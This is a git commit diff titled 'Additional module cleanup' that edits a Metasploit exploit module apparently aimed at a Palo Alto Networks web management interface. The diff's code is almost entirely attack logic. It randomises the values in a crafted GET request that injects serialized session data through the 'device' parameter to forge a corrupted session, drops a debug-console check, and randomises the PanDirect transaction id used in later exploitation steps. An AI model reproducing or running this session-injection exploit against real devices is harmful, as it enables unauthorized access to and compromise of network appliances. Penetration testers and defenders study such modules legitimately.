Additional module cleanup
parent
369c74aa19
commit
1f7b13bea8
|
@ -71,6 +71,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
dev_str_1 = Rex::Text.rand_text_alpha_lower(1+rand(10))
|
||||
dev_str_2 = Rex::Text.rand_text_alpha_lower(1+rand(10))
|
||||
user_id = rand(2000).to_s
|
||||
|
||||
print_status("Creating our corrupted session ID...")
|
||||
|
||||
|
@ -78,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# is needed to prevent encoding of the parameters injected into the session
|
||||
res = send_request_raw(
|
||||
'method' => 'GET',
|
||||
'uri' => "/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\";"
|
||||
'uri' => "/esp/cms_changeDeviceContext.esp?device=#{dev_str_1}:#{dev_str_2}%27\";user|s.\"#{user_id}\";"
|
||||
)
|
||||
unless res && res.body.to_s.index('@start@Success@end@')
|
||||
print_error("Unexpected response when creating the corrupted session cookie: #{res.code} #{res.message}")
|
||||
|
@ -91,18 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
print_status("Verifying that we can access the debug console with our corrupted session ID...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/php/utils/debug.php',
|
||||
'cookie' => cookies,
|
||||
)
|
||||
unless res && res.body.to_s.index('Debug Console')
|
||||
print_error("Unexpected response when validating the corrupted session cookie: #{res.code} #{res.message}")
|
||||
return
|
||||
end
|
||||
|
||||
create_directory_tid = 713
|
||||
create_directory_tid = 1 + rand(1000)
|
||||
create_directory_json = JSON.dump({
|
||||
"action" => "PanDirect",
|
||||
"method" => "execute",
|
||||
|
@ -194,7 +186,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
self.service.stop
|
||||
end
|
||||
self.service = nil
|
||||
rescue ::Exception
|
||||
rescue ::SocketError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue